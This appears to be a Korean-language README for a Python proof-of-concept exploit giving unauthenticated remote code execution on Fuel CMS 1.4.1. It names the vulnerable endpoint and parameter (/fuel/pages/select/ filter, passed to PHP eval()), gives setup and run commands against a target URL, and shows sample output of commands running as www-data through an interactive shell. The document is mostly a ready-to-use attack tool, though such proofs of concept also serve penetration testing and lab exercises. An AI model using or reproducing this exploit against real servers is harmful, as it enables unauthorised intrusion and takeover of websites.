
Fuel CMS 1.4.1의 `filter` 매개변수를 통한 인증되지 않은 원격 코드 실행을 위한 Python PoC로, 명령 실행을 위한 대화형 셸을 제공합니다.
Fuel CMS 1.4.1의 인증되지 않은 RCE 취약점입니다.
/fuel/pages/select/엔드포인트의filter매개변수는 PHP 백엔드의eval()호출에 정제되지 않은 채 전달되어, 조작된 페이로드를 통해 임의 코드 실행이 가능합니다. 블라인드 인젝션과 달리 출력은 HTTP 응답에 직접 반영되므로 중간 파일이 필요 없습니다.
/fuel/pages/select/에 특수하게 조작된 filter 페이로드를 포함한 GET 요청을 전송하여 PHP의 system()을 원하는 명령으로 호출합니다.python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
예시:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data
Shell> hostname
fuel-cms
Shell> exit